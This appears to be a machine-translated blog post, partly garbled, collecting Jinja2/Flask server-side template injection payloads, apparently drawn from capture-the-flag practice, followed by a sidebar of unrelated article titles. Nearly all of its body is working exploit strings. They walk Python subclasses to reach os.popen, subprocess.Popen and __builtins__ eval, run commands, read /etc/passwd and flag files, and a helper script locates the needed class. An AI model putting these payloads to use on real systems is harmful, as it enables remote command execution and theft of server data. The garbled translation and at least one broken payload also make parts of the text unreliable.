当前位置:网站首页>Ssti (injection de gabarit) - (7)
Ssti (injection de gabarit) - (7)
2022-06-10 03:47:00 【Sept, six, neuf.】
La façon de penser
Trouvez d'abord le point d'existence de la vulnérabilité
Exporter toutes les classes.
{
{
().__class__.__bases__[0].__subclasses__()}}
Trouver dans la liste des sous - classes peutgetshellLa classe de/Rappelez - vous que certaines choses courantes peuventgetshellFonction de.
1、Oui.popen()La classe de
os._wrap_close
payload:
{
{
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
subprocess.Popen
payload:
?search={
{
''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
?search={
{
''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}
?search={
{
''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}
2、Oui.osDu module
socket._socketobject(En général71)、site._PrinterModule équivalent
payload:
{
{
[].__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen(cat /xxx/flag)}}
{
{
[].__class__.__bases__[0].__subclasses__()[127].__init__['__glo'+'bals__']['os'].popen('whoami').read()}}
3、Oui.builtinsLa classe de
__ builtins __Exécution du Code(Méthodes les plus couramment utilisées)
warnings.catch_warningsContient:,Il y a aussiemail.header._ValueFormatter
__ builtins __ Est un module qui contient un grand nombre de fonctions intégrées,Nous utilisons habituellementpythonLa raison pour laquelle vous pouvez utiliser des fonctions commeabs,max,C'est parce que__ builtins __ Ce type de module estPythonImporté pour nous au démarrage,Peut être utilisédir(__ builtins __ )Pour voir la liste des méthodes d'appel,Et puis on peut découvrir__ builtins __ En bas.eval,__ import __Fonction de etc.,Vous pouvez donc l'utiliser pour exécuter des commandes.
{
{
().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")}}
{
{
().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
{
{
().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}
{
{
().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
Cycle d'exécution du modèle
{
% for c in ().__class__.__base__.__subclasses__() %}{
% if c.__name__=='catch_warnings' %}{
{
c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{
% endif %}{
% endfor %}
{
% for c in [].__class__.__base__.__subclasses__() %}
{
% if c.__name__ == 'catch_warnings' %}
{
% for b in c.__init__.__globals__.values() %}
{
% if b.__class__ == {
}.__class__ %}
{
% if 'eval' in b.keys() %}
{
{
b['eval']('__import__("os").popen("whoami").read()') }}
{
% endif %}
{
% endif %}
{
% endfor %}
{
% endif %}
{
% endfor %}
Lire le fichierpayload
{
% for c in ().__class__.__base__.__subclasses__() %}{
% if c.__name__=='catch_warnings' %}{
{
c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{
% endif %}{
% endfor %}
warnings.catch_warnings La classe est définie en interne _module=sys.modules[‘warnings’],Et puiswarningsLe module contient__builtins__, C'est - à - dire, si vous pouviez trouver warnings.catch_warningsCatégorie,Peut ne pas utiliserglobals,payloadComme suit
{
{
''.__class__.__mro__[1].__subclasses__()[40]()._module.__builtins__['__import__']("os").popen('whoami').read()}}
En résumé, Le principe est de trouver d'abord ce qui contient __builtins__La classe de, Ensuite, il sera utilisé plus avant
Scripts communs:
Commençons par énumérer toutes les sous - classes
Ensuite, mettez la liste des sous - classes dans le script suivant aMoyenne,Et chercheros._wrap_closeCette classe
import json
a = """ <class 'type'>,...,<class 'subprocess.Popen'> """
num = 0
allList = []
result = ""
for i in a:
if i == ">":
result += i
allList.append(result)
result = ""
elif i == "\n" or i == ",":
continue
else:
result += i
for k,v in enumerate(allList):
if "os._wrap_close" in v:
print(str(k)+"--->"+v)
边栏推荐
- [mainstream nivida graphics card deep learning / intensive learning /ai computing power summary]
- [summary of pytoch optimizer]
- 答辩前电脑坏了......
- All MySQL collections from 0 to 1 are highly recommended
- Keywords register and static
- 【论文笔记|深读】struc2vec: Learning Node Representations from Structural Identity
- 值得一看的共享文件实现方案
- Using the responsibility chain pattern to reconstruct the original code
- JVM内存结构分析(通俗易懂)
- Probabilistic programming tool: official introduction to tensorflow probability
猜你喜欢
随机推荐
【L1、L2、smooth L1三类损失函数】
Implementation scheme of shared file
Business card wechat applet error version 2
Code error writing method of wechat applet rotation chart
How to customize ThreadPoolExecutor thread pool gracefully
戒烟日志_04 (day_09)
[calculation method]
【PyTorch 模型剪枝实例教程2(结构化剪枝)】
里程碑事件丨.NET MAUI 正式发布
答辩前电脑坏了......
c语言刷题系列(二)
【TFLite, ONNX, CoreML, TensorRT Export】
Text input, JS anti injection, web address recognition
Code writing method of wechat applet search box
[bitbear story collection] x Microsoft build 2022 - Microsoft experts +mvp, full analysis of technical highlights
聊聊保证线程安全的10个小技巧
Flowable deploy processes in three ways
Using tensorflow in MATLAB
【主流Nivida显卡深度学习/强化学习/AI算力汇总】
[actual combat] redis cluster (Part 2) - system version support
![[MySQL] 数据库-视图](/img/5c/fc38c4a5e541810b1606e3d2a762b7.png)








